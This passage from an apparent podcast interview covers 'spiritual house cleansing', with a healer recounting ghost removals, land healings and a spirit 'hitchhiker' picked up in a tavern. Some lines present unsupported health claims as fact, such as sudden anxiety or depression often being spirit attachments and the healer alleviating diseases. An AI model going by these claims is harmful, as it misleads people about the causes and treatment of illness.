what fika is all about. Fika is firmly rooted in the Swedish culture. You usually have fika twice a day and you can fika at work by taking a coffee break. You can fika with someone like meet up for coffee and chit chat or just drink a cup of coffee or tea or other non-alcoholic beverage. It’s not a party, it’s a fika. Typically, you have something to eat with your coffee like a biscuit, cookie or maybe a piece of fruit. But, it’s more than just what you eat or drink. It’s about slowing down, taking a break, catching up with friends and enjoying each other’s company. So, Cherie, what are you having to our fika session today? Cherie Young: Hi, thank you so much! Oh, Erica I’m having hot water with lemon slices and honey and it is so soothing. Thank you. - About Cherie and that Biz Card [00:01:51] Erica Eriksdotter: So, before we dive into what spiritual house cleansing is, let me just for our audience and listeners our there, let me share a little bit about you. Cherie Young is native to the Washington, D.C. area and is a practitioner of Intra-Dimensional Web Working, Dimensional Presence and Dimensional Virtues. She is a masterful Intra-Dimensional healer and teacher. Her approach utilizes fears compassion connecting clients to their divine inner knowing. She has assisted in alleviating of numerous diseases affecting the physical, the emotional and mental and spiritual bodies. She teaches healing workshops internationally and in the U.S. on a regular basis. She’s also available for one on one sessions. So, I know you since, what feels like, 20 years ago but actually since only 2009 and 2016 now. So, that’s what, 7 years? Cherie Young: That’s right. Erica Eriksdotter: I had held on to your business card for about a year thinking that maybe you could speak to my dad who had passed away. Then after a year, I started having, well, for a long time I had almost daily migraines and neck pains. Then, cleaning out my wallet at work one day, end of a Friday, and saw your card again, your business card. Cherie Young: Mmm. Erica Eriksdotter: And, emailed you and said, ‘Can I have, even though I feel like I have more of my dad, can those emotions get stuck in my body? You responded right away and you wrote me this email that I don’t remember much of but basically like emotions can absolutely have other things. Cherie Young: Physical ramifications, absolutely. Erica Eriksdotter: Absolutely. So, I scheduled a session. After that session, which was very wonderful for me, you cleansed me off completely and did a lot of other things as well that helped me I felt like myself again after only one session. At that point you handed me a poster at the end that said, you know what, my Master Healer Colette Chase will be here teaching this workshop. I think you would be really good at this; do you want to join us? And, three weeks later, I took that workshop and I was scared to death driving to that workshop. Six months later after taking more classes and more sessions, I had kick started my art career again. I had launched my Studio Eriksdotter company. You couldn’t stop me from painting. I was just blossoming completely and have enjoyed healing and workshops and sessions with you and Colette ever since. Now, of course, also being a healer. Fantastic journey for me. But, today we’re not talking about my journey, we’re talking about spiritual house cleansing. - What is healing and how to pick your healer [00:05:07] Cherie Young: Well, yes all the journey’s kind of coincide. So, I thank you very much for all those kind words. All healing is self-healing and I’m a facilitator and I love to work with people and enjoy watching them blossom. People, I don’t think everybody understands how spiritual energies, how much we synergize and take on of everything around us. In original tribes, meaning your family cluster, there are so many siblings that come to me and you know, I have this illness, I have this illness and come to find out that illness is really just symptoms that she or he were carrying for the family unconsciously of course. So, we all kind of swim in the river of energy and we take and leave things. Part of what I teach is discernment and what is yours to deal with, what is somebody else’s and allowing them their process so they can have those emotions to evolve where they’re going. Then, you have your stuff, which is sometimes overwhelming enough. Erica Eriksdotter: Yeah. Cherie Young: And gone untreated or shoved under the rug long enough you will have definitely physical ramifications from those emotions and abandon. Erica Eriksdotter: Yeah. We had, as you know, Colette Chase is a regular on this podcast, and she’s been having, she’s had two episodes on discernment. Pretty fascinating. The last one was with exercises about not just ground, source, center but also an exercise through the scales. Cherie Young: Mmm. Erica Eriksdotter: I think it’s also, I believe we touched on this, that Colette is one healer and also clients need to pick their healer. Cherie Young: Correct. Erica Eriksdotter: So, every healer. Cherie Young: Yes, she’s so masterful. One thing that she has taught me also, is that everybody has to choose their healer and for their particular organic moment wherever they are. So, say you got five of us in a room together. Somebody’s going to pick someone because they’ll see it in that aura whatever it is. There will be a click… Erica Eriksdotter: Yeah. Cherie Young: A goose bump or something that will attract someone to that particular healer for that particular time frame for them. Erica Eriksdotter: Yeah. Cherie Young: There’s no scarcity. Everybody has something to offer. Erica Eriksdotter: Yeah, absolutely. I personally go to you for certain things. I personally go to Colette for certain things. Cherie Young: Absolutely. Erica Eriksdotter: When I read your bio, it is what the word that is really popping out for me is compassion. You have an enormous compassion during your healing sessions. You have that mother figure that is just that the big bird’s going to take care of the little birds and you just have this amazing warm everything is safe, we’re in a sacred and safe environment. You’re just very compassionate during your healing sessions. Cherie Young: Thank you. Erica Eriksdotter: Not comparing to anyone else. Just highlighting what I feel during your sessions. Cherie Young: Thank you so much. I’m honored that you said that. [laughing] Erica Eriksdotter: [laughing] So, okay, today… Cherie Young: Rarely speechless, but you did it! [laughing] - What is Spiritual House Cleansing? [00:08:48] Erica Eriksdotter: So, today we’re going to talk about spiritual house cleansing in particular. You do a lot of different things but today we’re going to talk about cleansing and house, buildings, lands, whatever. So, can you talk to me a little bit about how you describe spiritual house cleansing? Cherie Young: Sure. So, I think all of us might have one story, if it didn’t happen to us, a neighbor, an uncle or aunt about having an uninvited guest in their house at one time or another who was unfortunately discarnate which is a spirit without a body. Erica Eriksdotter: We’re not talking about Uncle Bob who showed up and won’t leave. Cherie Young: Uncle Bob go home! No, we’re talking about someone without a body and generally there are lots of reasons why people get caught between dimensions. Sometimes, people pass or die so quickly and it’s traumatic and it could be a car accident, a gunshot, it could be any of these horrible things. Then, the person actually, just as in the physical realm, they don’t know where they are. They have no memory of how to get back or they can’t get back because they don’t have a physical body anymore. So, they are literally wandering around looking for something or someone familiar and quite often, this is why I think a lot of children are very sensitive and they’re bright lights and people will sometimes follow these kids. Follow a person home. If something traumatic happens in a home… Erica Eriksdotter: Yeah, actually, let’s back up. You said, can follow them home. Cherie Young: Yes. Erica Eriksdotter: So, it doesn’t have to be it lives in my house and we moved in there and now we’re stuck with this thing. But it actually it can be you picking them up. We sometimes call them a hitchhiker, right? Cherie Young: Yes. Erica Eriksdotter: Attachment. A child can pick them up somewhere else. Cherie Young: Sure. Unconsciously, of course, the child has no idea. Sometimes a kid does know. Erica Eriksdotter: Yeah. Cherie Young: I have cleansed several homes for families whose children were so distressed they couldn’t sleep at night, they couldn’t go in their rooms any more. These families couldn’t sleep, so usually, unfortunately by the time they find me, they’re just very distraught and exhausted. Erica Eriksdotter: Yeah. Cherie Young: I really appreciate you having me speaking on this because everyone is curious and I don’t know how many people are willing to actually talk about it, so thank you. One of the families, a little girl, she was eight, the mother called me, I came to the home. They hadn’t slept in weeks and they had a son, they were both afraid to go in her room. They could hear at certain times at night, the creaking, somebody coming up the stairs and if she were in her own room, the bed would depress in a place where somebody it looked like they were sitting down but of course, nobody could see them, but they could feel their presence. Erica Eriksdotter: Mmm, hmm. Cherie Young: The little girl could see him, sometimes. So, I went in and I did my thing. Which is, I create I hold a space and dimension in a light with guidance from the archangels to assist this person in evolving to their proper place in the creative order. After that, then I look around and see if there is any debris or any frequencies that are just been disturbed patterns sometimes they’ll mess with the electronics of the home. The TV, you left the TV on again. No, I didn’t. This causes a fight in the house. Erica Eriksdotter: Mmm, hmm. Cherie Young: Then, I work with the little girl because she was the one that was most affected and then I sort of radiate out and I talk to everybody in the family and I had the little girl come in the room with me. I spent about an hour with her. I said on a scale from 1 – 10, how clean is this room? How much better or has anything changed? Yes, it feels so much better. The kid was just right up front with me. So honest. Erica Eriksdotter: Yeah, so honest. [laughing] Cherie Young: It feels so much better, but I’m still a little bit afraid. I said, ‘Okay’. So, then I talked to her some more until we got to 100% and they have had yet to have the problem again. She sleeps in her room. Everybody happy. Erica Eriksdotter: You typically don’t have to go back after you cleansed something, but… Cherie Young: Typically not. Erica Eriksdotter: But, it does happen that sometimes you do go back, maybe a couple years after. Cherie Young: It has happened and I must say in this particular neighborhood there’s a known problem. House that’s been abandoned for years and this is another issue where sometimes there will be a wound on the earth. It creates a sort of, vortex, if you will. Erica Eriksdotter: Mmm, hmm. Cherie Young: If it isn’t healed, it’s going to attract a like spirit. So, just like you would want to hang out with people who are artistic and interesting… Erica Eriksdotter: [laughing] Cherie Young: If you’re lost and you don’t have a body and you’re just looking for kicks and giggles… Erica Eriksdotter: Yeah. Cherie Young: And, you really don’t have much intent, you’re going to end up in one of these places where everyone goes, that’s the house haunted, oh my gosh. This is the case in this neighborhood, I had to go back twice. Erica Eriksdotter: This is a common thing for you, right? But, it also is it can appear, it doesn’t have to be that potent for lack of better word. It’s not that extreme. Cherie Young: Right. Erica Eriksdotter: But, to you that’s not too extreme, but it can just be that like you said, maybe the electronics are not really working or maybe the cars are not working or maybe… - The remodel jobs were being completely trashed [00:14:56] Cherie Young: Well, I’ve been called in because remodel jobs were being completely trashed. This one house, every time they went to do a remodel job, the pipes burst. Then, we had this problem and then this. It was as if whoever was in there did not appreciate the changes that they were making. Erica Eriksdotter: They were like stop messing with my house, man! Cherie Young: Exactly. So, I went in and I did a healing on the house, a cleansing and from then on the projects went… Erica Eriksdotter: Smoothly. Cherie Young: Very smoothly. Yes, very gratifying to hear the feedback. The thing that kind of disturbs sometimes is I’ll hear people say, ‘Oh yeah, we’ve had a ghost in our house in month. It’s charming. I think it’s kind of cool’. I have actually heard this. Erica Eriksdotter: I’ve heard it many times as well. Cherie Young: Oh, he doesn’t really bother us. Sometimes he moves things around, like maybe, the scotch tape will move from here to there. The thing is, this is a person, this is a soul who’s lost and he needs to find his evolutionary step. Erica Eriksdotter: Yep. Cherie Young: You know? It’s no fun. I think it’s a high form of suffering when you don’t know who you are or where you are. So, just based on the healings that I have done it also brightens the home. It really does allow; it opens up a space for the people are living there in the physical realm to deal with their issues as opposed to this… Erica Eriksdotter: The distraction. Cherie Young: The distraction. Erica Eriksdotter: The drama. Cherie Young: Yes, exactly. Yes, after a cleansing I often recommend that they do something joyous. You know, blow bubbles in the house, have a dance party so you fill the space with this healing spark. Whatever makes them happy. Erica Eriksdotter: Yeah. Cherie Young: Yeah, because you will feel this sort of space open up. Erica Eriksdotter: Mmm, hmm. Cherie Young: After the healing of the home. - The space holds the frequencies of the trauma [00:17:02] Erica Eriksdotter: It’s also quite fascinating because, two things, I had you over a few years ago cleansing my house. Cherie Young: Mmm, hmm. Erica Eriksdotter: And, [laughing] you are looking at me like you don’t remember, which you probably don’t. But, it was interesting because at a certain spot I had noticed that one of my cats would walk into my bedroom, our bedroom, and suddenly it was like he didn’t remember that he’s ever been to the room before. So, I just briefly mentioned that to you and it was just an interesting phenomenon because he had been with us for several years at this point and was always like, I’ve never been in here. So, he would be startled when he walked and is looking around. Then, when you did the cleansing, you mentioned that there was a specific spot on the floor where you think that there may have been a woman at some point with dementia, old woman with dementia looking at the birds outside of the window. Cherie Young: Okay. Erica Eriksdotter: And, not remembering it’s her place, but not remembering where because of the dementia and that had imprinted into that space. Cherie Young: Hmmm. Erica Eriksdotter: That exact space. Which, was exactly the space where I would witness Rasmus Cherie Young: Interesting. Erica Eriksdotter: Being completely like, where am I? What’s this room? Cherie Young: AHHHH! Erica Eriksdotter: So, it can also be a person who’s actually lived in the house before. Cherie Young: Yes. Erica Eriksdotter: Or, it can be a spirit whose had that same trait of not knowing where they are. Cherie Young: Exactly. This happens a lot and what happens is the actual, the physical space of the room, because of the intense emotion, there’s usually a high form of suffering that goes in with dementia. There’s so much loss and grief and fear about who they are and the abandonment of your mind that it will actually it’s almost like a photograph of the emotion of it is instilled on the frequencies of the room, if you will. That space and location will hold that. This is true with hauntings. Hauntings are things usually around very high traumatic events and the person, that soul piece just hasn’t healed. Their still holding that horrible, horrible frequency which is another reason why it really these ghost walks just break my heart. Erica Eriksdotter: Yeah. Cherie Young: Because if you’re holding onto a ghost, they’re people and they’re suffering and they don’t know where they are or who they are but they just keep reliving perhaps the worst moment of their life. So, if I was going to go on a ghost walk Erica Eriksdotter: [laughing] Cherie Young: They would just have to be making stuff up afterwards. [laughing] Erica Eriksdotter: Yes. You’d be like, I’m going to take these souls and pass them to the proper place. Cherie Young: I will ask permission and I will definitely do what I can. I have gone to a bed and breakfast once and there was a spirit in this beautiful, somewhere in Virginia. Erica Eriksdotter: [laughing] YEAH Cherie Young: I mean, you know that feeling where someone’s looking at you? Erica Eriksdotter: Oh yeah. Cherie Young: She was really there. I was on break. I was like, really? [laughing] I’m having a vacation here. [laughing] Erica Eriksdotter: Being a human. Cherie Young: Yes, I’m just being a person today. And, awh, so I asked permission to assist her in moving on and she said no and the consciousness of the homeowner said no psychically to me. They had an attachment to each other, I’m sure completely unconscious, and so I said fine. In my psychic way, I told this being that’s great, I don’t want you in the hallway, I don’t want you in my room and I don’t want you in the kitchen where I am, you are not and she agreed. Erica Eriksdotter: Yeah. So, you could be you. Cherie Young: I just held my boundary and she held hers. Somebody is attached has a silent agreement with the spirit that they can stay and there’s nothing… Erica Eriksdotter: Yeah, and that’s what we learned. We learned the etiquette and the protocol when we take these workshops and we always ask for permission and what is proper because otherwise that is not creating the proper order. We are disrupting the proper order… Cherie Young: Exactly. Erica Eriksdotter: If we do not ask for permission. Cherie Young: This is a good point, I’m glad we brought it up, this is what it’s all about. You wouldn’t go into some stranger’s home and tell their son to get off the couch and get a job. [laughing] You just don’t do these things, hopefully. You don’t want to meddle where you’re not wanted, where it’s not your business. Erica Eriksdotter: Yeah, discernment. Cherie Young: Absolutely ask first. May I? Is there something I can do around this. If there is some healing, what is it. Erica Eriksdotter: YEAH. Cherie Young: And get some information on the situation. So, yeah, I remember, funny you talk about Rasmas, I remember I went to do a house cleansing, this gorgeous cottage on this plantation. In the basement they had a dog for how many years and the dog would never go in the basement. They tried treats, they tried everything. He would not go, okay. So, then, they also had disruptions inside their home. The husband person, wonderful guy, you know thought this was a bunch of hooey, but he was willing to make the wife feel better, go ahead, have your house cleansing. So, he’s at work, she had me over and I did my thing. He got home as I was leaving and she said, ‘I want to show you something, come here.’ And, he goes, ‘How did it all go?’ and she goes, ‘I’ll show you.’ And, she goes, ‘Shadow’ and he went into the basement. Erica Eriksdotter: The dog? Cherie Young: The dog went right into the basement and the husband’s standing with his mouth hanging opening. [laughing] Erica Eriksdotter: [laughing] That’s pretty funny. Cherie Young: Yeah, that was pretty cool. - Every night they hear the horse carriage [00:23:41] Erica Eriksdotter: You’ve also told me about another example where you would hear, every night you would hear a certain noise, horse carriage. Cherie Young: Oh yes! Erica Eriksdotter: And, so that is not, it wasn’t, I don’t completely fully remember. It’s not a discarnate, but that moment is so imprinted into that Cherie Young: Space and location. Erica Eriksdotter: Yeah. Cherie Young: Yes. Erica Eriksdotter: Almost what we talked about with the dementia. Can you talk a little bit about that as well? Cherie Young: There’s a home actually, it’s quite well known in Berryville. Everybody knows because anybody who lives near this house hears it. At a certain time of night, what they hear is a horse and carriage complete with all the bridle, the bit in the horse’s mouth, the wheels of the carriage turning comes to a stop at this particular home, in front of this home. The horse shakes its head, I mean there’s this whole ritual, literally a recording of a horse and carriage approaching this house. So, when we have this, this is like people who work with film will get this. It’s like a sliced, you know, photo shopped moment and how it is created is usually because more than one person witnessed something horrific. Erica Eriksdotter: So, it could be a hundred years ago, when you had the carriages. Cherie Young: Yes, and there’s more than one person and they all saw the same thing happen at the same time and it’s like a big flashbulb of emotion around that and it literally imprints the space and location. Erica Eriksdotter: Mmm, hmm. Cherie Young: Right there, of this high frequency, horrendous, traumatic, whatever happened there. I did not stick around to ask what the story was around it, but this, too, can be healed. Erica Eriksdotter: Yeah. Cherie Young: There are so many layers up on the Earth of energy. Imagine how we are now attempting to understand and really look at our emotions as something valuable. Erica Eriksdotter: Mmm, hmm. Cherie Young: As opposed to old world, just suck it up and go on. Erica Eriksdotter: Yeah. Cherie Young: Just forget about that. Erica Eriksdotter: Yeah. - Taking responsibility for our emotions heals the world [00:26:09] Cherie Young: Disarming the emotional body. So, we’re seeing in the world so many effects of wastewater coming into homes. Back flushing of toxins. This is all part of the evolutionary plan for all of us collectively, consciously to assess what is ours to clean up our act. To really look into the emotional body and say, Wow, I have this amazing emotional body. Let me see what’s in here. Let me process it, let me take responsibility for it and not just throw it under the rug or throw it down the sink. Erica Eriksdotter: Yeah. And pass blame. Cherie Young: So, these points all over the globe, you know, of course you have battlefield. But, we have marked certain battlefields historically. We’ve only been here three hundred years. The Earth is how old? How many points of the earth need to be healed? How many tears can we sweep up and send home? This is why I’m looking at every one little healing I think is sort of a blessing for all of us. Erica Eriksdotter: Mmm, hmm. And, if we’re thinking on a larger scale too, it can be, it doesn’t have to be a physical structure that you heal. - House Cleansing beyond Physical Structures [00:27:29] Cherie Young: Mmm, hmm. Erica Eriksdotter: It can actually be a land, right? Cherie Young: Yes, absolutely, absolutely. I actually when I do land healings, which I do. If the person is a little not receiving of a part of a healing, I will consciously invoke that wherever there birth land is, someone in their hometown receive this healing. Erica Eriksdotter: Mmm. Cherie Young: This is just another way of sort of assessing the land. Assessing location and you’re right it doesn’t have to be a physical structure at all. Erica Eriksdotter: Yeah. That is very beautiful because it is interesting, you can actually come to you for session and yet not receive the session. You do have to take responsibility and you do have to… Cherie Young: Yeah, it’s a partnership. I would never force anyone to let go of something they’re not ready to let go of. Everyone is where they are in their process. Erica Eriksdotter: Yeah. Cherie Young: So, about the land healing. There absolutely doesn’t have to be a physical structure. It can just be any geographic point. The land itself can be wounded or hold emotions about watching a battle or something horrible happened. The land itself can be healed, yes. Erica Eriksdotter: Yeah. And, you mentioned also about the beautiful thing if a client is not accepting a healing, you send it to in their town but you also do, you also can do these sessions, as I do them, as Colette do them, you can do them via phone or Skype. You can do house cleansing via phone too? - Cleansing long distance [00:29:21] Cherie Young: I actually can, however, that is case by case basis. I will absolutely check and ask permission beforehand to see if I can for a particular case. I have actually a family member call me up because they had moved back into a house, beautiful, had been not lived in in a long time. They were the only two people in the house and they were hearing doors slamming and they were hearing someone pounding on the floor with his fist. So, it was really frightening and I don’t even know this family member considered me an expert in this area, but they sure as heck called me up and said, ‘I don’t know if you can help me? But do you think? I said, absolutely, let me see and we took care of it on the phone right then and they haven’t had a reoccurrence since. Erica Eriksdotter: Hmmm, so via phone? Cherie Young: Via phone is case by case basis and I would of course let the person know ahead of time if I need to come to their home or if we could do it via phone. Erica Eriksdotter: Then there are areas where you have asked for assistance. So, you’ve actually needed more than one healer to be at the spot to heal certain things. So, when you also take care of your, of course your safety, it’s just we need to have a little bit more. Cherie Young: Yes, absolutely. It can be a dangerous business. I think someone who would be foolhardy not to call upon resource when resource is due. There are cases where I have worked on several where I’ve called you and asked you to have my back as I entered a home that had known dark ones. This is a whole other realm of spiritual cleansing. Just like you have good guys in the physical world, you got some bad guys in the physical world and the same on the other side. So, some of these entities, they tend to run, they can run in groups and they’re just like bullies here in the physical realm. You have bullies in the spirit world. These bullies can be very adept at messing with electronics and several times if I’ve had to deal with this type of a house cleansing, the client will try to call or text me and they could not. I would finally email them or something and say you have to get outside your house and you have to go to another location and see if that works. And, it would work. One gentleman had to sit in his car at a shopping center. He could no longer sleep in his house, in his apartment. He would not have friends over because they were afraid to be in his apartment. Erica Eriksdotter: Oh my gosh. Cherie Young: None of the electrical would work only in his apartment. So, I knew going in, that was going to be a little dicey. Erica Eriksdotter: Yeah. Cherie Young: I had car issues on the way to do that house cleansing. Erica Eriksdotter: Mmm, hmm. Cherie Young: So, these dark ones, they have friends and buddies and they want to have their party. They don’t want me around because they know the gig is up. I have a great relocation program. [laughing] Erica Eriksdotter: [laughing] And, I know this, because this has happened to me several times where I’ve been texting you or try to call you and we’ve been trying to play catch up where you haven’t received any of what I’ve been trying to send. Cherie Young: That’s right!!! Erica Eriksdotter: There’s been a few times like, I’ve been trying and when we were also very all dear friends. So, when we finally reach you, it’s like, why haven’t you answered any of my calls? Cherie Young: What did I say! What did I Do! Erica Eriksdotter: Why are you ignoring me? But, it’s like I sometimes have to text you and if i haven’t heard from you in a certain amount of time, I will call you. Cherie Young: Right. Erica Eriksdotter: And, if you aren’t calling me back in a certain amount of time, I will Facebook you or email you. I will try different venues because sometimes it just the electronics is just not working. Cherie Young: It’s very easy for folks on the other side to manipulate electronic devices. It’s one of their go to’s to cause issues. They sure don’t want me around because they’re going to have to take responsibility… Erica Eriksdotter: They know what’s up. You cleansed, you’ve helped me cleanse, I’ve been your anchor. It’s sometimes very hard to cleanse yourself when it’s your stuff. So, you’ve cleansed my office, for example. Cherie Young: That’s right. Erica Eriksdotter: I had an old office and you cleansed my office. I didn’t have a good guy in there that somebody else had left behind. Cherie Young: That’s right. Erica Eriksdotter: Causing amok and it was very energetically very dirty in that office. For me, it manifested that I didn’t want to do anything in that office. Cherie Young: Sure. Erica Eriksdotter: I was lethargic and you know, I noticed that’s not a very, I have a full time job and then I have my own business and I do so many different things, so to me that’s a red flag when I feel like I can’t do anything. Cherie Young: Correct. Erica Eriksdotter: Which is when I reached out to you as well and that was several years ago. Cherie Young: That’s true. People will start to blame themselves if they have anxiety all of a sudden or they have depression all of a sudden. Quite often this is a big flag for having an attachment of different spirit that can be living on you. This is not possession. This is just a spirit, just. It’s terrible, but a spirit who has unconsciously attached himself and is living on the person’s energy. Erica Eriksdotter: I actually have another example of that, which can manifest in more horrible things, diseases and stuff. Cherie Young: Mmm, hmm. Absolutely. - The ‘hitchhiker’ from the bar [00:35:27] Erica Eriksdotter: For me, I have a good example. I had on my lunch hour, I typically do not drink. I don’t have a lite beer during lunch hour because of the type of work I do. But, I was leaving after the lunch hour. So, we went to a tavern and it’s a old tavern in the D.C. Metro area that’s been around for, I don’t know, 100 years maybe. I just had 1 Bud Light. I typically don’t even have that drink. Cherie Young: Right. Erica Eriksdotter: That’s not my go to beer. I had it because it was my lunch hour and I wanted to make sure I was responsible because I was still driving home. In the U.S., by the way, you can have a little bit of alcohol and drive. So, I was being responsible, however, four hours later, I’m home, long home after this. I’m still a little tipsy. First of all, I don’t necessarily get tipsy after a Bud Light, 4 hours later, you sure shouldn’t be tipsy on a Bud Light. I was tipsy and I had picked up a discarnate, a hitchhiker who was most likely hanging out at the tavern because he/she liked was maybe an alcoholic. Cherie Young: Right. This is what happens. Erica Eriksdotter: So, as soon as I get a little tipsy, he said, Mm, that’s a familiar thing for me, I want that, I crave that and I picked it up. Cherie Young: Right. Erica Eriksdotter: That feeling of being tips stayed on until I released him. I can’t remember if I released him on my own or with you. But, I think I did it on my own. Cherie Young: Yeah. This happens. People who have passed and they’re alcoholics and substance abusers this is a horrible, horrible disease. If they haven’t healed it, there are some who find themselves on the other side just with the cravings and have trouble keeping… Erica Eriksdotter: Be between sides.. Cherie Young: In between, so they haven’t gone to the light yet. Erica Eriksdotter: Yeah. Cherie Young: Then, they will hang out at bars. And, why do you think we call drinks spirits? Erica Eriksdotter: [laughing] Cherie Young: Even in our language we reflect that this is a common and yet not so common phenomenon. Erica Eriksdotter: Yeah. It is quite interesting and luckily that was an easy fix but, like you said earlier, it can be more, you know I’ve had where I don’t recognize my thoughts. Cherie Young: Mmm, hmm. Erica Eriksdotter: I usually don’t think like this. Or, you know, it’s just another…After doing so many workshops, so many hundreds of hours of training, you just identify and you recognize, hmmm, you know yourself that you’re like, hmm, this doesn’t sound right. Cherie Young: I’m glad that you mentioned that because it is part of the practice to be witness to yourself and what and as soon as you find yourself, I don’t have thoughts, I don’t have catastrophic thoughts and I don’t have high anxiety over putting cream in my coffee instead of milk. Erica Eriksdotter: Yeah. Cherie Young: What’s going on here. I always ask, as soon as you wake up from the dream and you realize something’s going on, then you know. You’re waking up and you’re becoming enlightened when you can really witness yourself in this way. It’s an ongoing journey but it’s worth it. Erica Eriksdotter: So, during this whole time we’ve been talking, we’ve shown various different examples. We’ve shown the more, unfortunately very common, but more extreme, I don’t want to judge it by saying extreme, but like more advanced cases that you’ve dealt with where you know there’s actually people can no longer go into a room or sleep in their house or have guests over. We’ve talked about the land that it doesn’t have to be a physical structure. Cherie Young: Right. Erica Eriksdotter: That it can be, you can be walking across a field and you go Wfhoo! What is going on? It can be the… Cherie Young: Correct. Erica Eriksdotter: The pain of that physical geographical point. Cherie Young: Then imagine building a house on that land. Erica Eriksdotter: Yes. Cherie Young: Not being conscious of what you’re seeing there. Erica Eriksdotter: It can be enjoying a beer in a pub… Cherie Young: Yes. Erica Eriksdotter: and your being affected bringing it home to your home. It can stay in your home if it’s not attached to you, but it can also be in your home. Cherie Young: It influences and it’s like if you’ve ever lived with a roommate, which I have. The ones that you love, they’re still taking up space, they influence you greatly. Erica Eriksdotter: Mmm, hmm. Cherie Young: So, imagine having an uninvited guest that’s taking up space and their influencing you whether you are conscious of it or not. Just the way you said you were so lethargic. Erica Eriksdotter: Yeah. Cherie Young: It was difficult for you even to go in your office. Erica Eriksdotter: Yeah. Cherie Young: So, this is… Erica Eriksdotter: That was just, I luckily recognized that after just a week or so. Cherie Young: Thank goodness. Erica Eriksdotter: Mostly because I have your number. [laughing] Cherie Young: [laughing] I’ve got your number [singing] Erica Eriksdotter: So, before I want share with the listeners what the step by step by process is to connect with you, if they want to reach out to you. Cherie Young: Sure. Erica Eriksdotter: I also want to bring up you mentioned the example of that it is absolutely not healthy to like spirits, the discarnates that are in your home. However, if it is your grandmother… Cherie Young: Oh, I’m glad you brought this up. - But what about our loved ones who have passed? [00:41:14] Erica Eriksdotter: If it is somebody that means so much to you and you enjoy having them, can you tell me that process? Because, of course that is a more healthy relationship. Cherie Young: Right, and I’m not saying we need to be enemies with anybody in spirit. What I’m saying is there are, if you really have compassion for someone, then you want the best for them and if that spirit is lost and discarnate is someone who has lost their body, right and their in between dimensions. They haven’t gone onto the light, if you will. They haven’t taken that evolutionary step to continue their path in the worlds and they’re literally stuck. So, the difference between discarnet and say, your grandmother, who has passed on. She’s gone into the light, she’s continued her evolutionary path, whether that was schooling or heaven or all combinations therefore. Erica Eriksdotter: Mmm, hmm. Or like my dad, who’s the busy bee on the other side. Cherie Young: Yes, exactly. They act like a passport. There are windows that they can actually come here in this dimension and visit and support you. They kind of, it’s a little taxing for them, but they can do it. Erica Eriksdotter: Mmm, hmm. Cherie Young: They will pick and chose, like family celebrations, a loved one will come back because they want to be at the wedding or the birth of a child or something like this. They will be present and several members of the family will say, ‘Oh my gosh, did you feel him?’ and there’s no denying that presence. Erica Eriksdotter: Mmm, hmm. Cherie Young: You have a very close relationship with someone, you could close your eyes and you know that they’re standing next to you. So, that’s fine, they’ve got a passport. Erica Eriksdotter: They have crossed over, so to say. Cherie Young: Right. Erica Eriksdotter: They went through the light, they had a very purposeful way of passing when they passed. They are following their evolution of the soul and then they are coming for visits. Discarnate, unfortunately, got stuck as they were passing. Cherie Young: Correct. Erica Eriksdotter: For whatever reason and is in between dimensions and that is what you help them with to cross over so they can continue their soulful evolution and follow the purpose of that.. Cherie Young I n the grand scheme of things, in the creative order, exactly. The old school movie, Ghost, kind of got it right in those terms. Do you remember watching that movie? [00:44:14] Ghost Erica Eriksdotter: Wait, with Patrick Swayze? Cherie Young: With Patrick Swayze and Demi Moore? Erica Eriksdotter: And uh.. Cherie Young: Whoopi Goldberg. Erica Eriksdotter: Whoopi Goldberg. Yeah. Cherie Young: I mean some of the stuff on that, they got it right. Erica Eriksdotter: Yeah. Cherie Young: A lot of how this stuff kind of works. Don’t get me started about some of the other sensational movies that just go overboard. I’m like, THAT’S NOT WHAT IT’S LIKE [emphatically] Erica Eriksdotter: [laughing] So, yes, you could probably come back and talk about aspects of certain movies and the pop culture and what they actually do get right. There are so many actually very spiritual movies out there that millions of people have watched, not realizing that’s its actually… Cherie Young: Right and notice… Erica Eriksdotter: They love it because of the truth, they just recognize the truth in there. Cherie Young: Exactly. We have so much of it now I think because we’re at that point of our consciousness where we want more information around this. Erica Eriksdotter: Yeah. Cherie Young: We know something else is going on. Erica Eriksdotter: Yeah. Cherie Young: We want more information we want to be validated for the experiences that we’ve had that we can’t necessarily document. Erica Eriksdotter: So, Cherie, do you want to come back and actually, we’ll have a little pop culture thing and we’ll dissect a couple of movies? Cherie Young: That sounds like fun! Yeah. I say yes to this! Erica Eriksdotter: The aspect of this movie can correlate to, it would be fun. Cherie Young: That would be fun! I think that would be interesting. Erica Eriksdotter: You are not allowed to quote any of the movies. [laughing] Cherie Young: Wow! Okay! Erica Eriksdotter: So, Cherie quotes, she will quote movies and she will start suddenly start dancing and singing and her workshops are very entertaining. I bet I can’t keep you from quoting, but, we’ll see what happens. Cherie Young: We’ll have to make a little wager. Erica Eriksdotter: Yes. So, the step by step, real quick. Cherie Young: Okay, if somebody wants to contact me… Erica Eriksdotter: If somebody recognizes that this is for them. Cherie Young: They can just contact me through Facebook and my phone number is on my Facebook page. Erica Eriksdotter: You have various ways of connecting. Cherie Young: OH!! So, when you call me… Erica Eriksdotter: We’ll put how to reach out to you in the show notes and we’ll mention them later. Cherie Young: Oh, okay. Erica Eriksdotter: Specifically, how do you make this happen? Cherie Young: They can call me and we’ll have a conversation around it first and we will actually determine if they want me to come to their home or if in fact I can do this via the phone. We can make that determination within five minutes on the phone. Normally, I would go to the home and it would take anywhere from 90 minutes to 3 hours. I always say no animals will be harmed. I don’t often bring rattles so don’t be afraid of that. Erica Eriksdotter: There’s no show. Cherie Young: There’s no show. It’s a very sacred and succinct process. Although, by the time some people get to me they tell me, I’ve said this to clients, I don’t care if you bring a cow in my front yard, if you can do this, I want you here. Erica Eriksdotter: You bring up animals, it’s very important that pets are in the house. Cherie Young: It is very important because they can also have attachments and they also get freaked out by these uninvited guests on a regular basis. I had one home that the dog was trying to protect the family from the entity and it was causing him to have behavioral issues. So, people who go and take their obedience school, it’s not going to help a whole lot if you got somebody hanging out in your house. Erica Eriksdotter: Or, if the dog starts barking or something. Cherie Young: Exactly. So, yes, just call and/or text and we’ll have a conversation. If I can do it by phone we’ll determine that in the first conversation and we can take care of it then. If not, I’ll come to the home and everybody in the house will get a healing. I usually sort of give them instructions or a teaching around how to stay clean psychically, psychic hygiene. Any reflective surface in your home is a portal and how to take care of that. Erica Eriksdotter: The house cleansing can be a house cleansing it doesn’t have to lead to more but many of the clients you have also visited for a house cleansing has felt that it was such a huge change that they have started seeing you in one-on-one or joined your workshops. Cherie Young: That’s absolutely correct. Their experience was transformative for them and they felt they wanted more. Erica Eriksdotter: Yeah. Cherie Young: More information, more enlightened. It’s very empowering when we grasp something that we kind of have a little bit of psychic peekaboo about 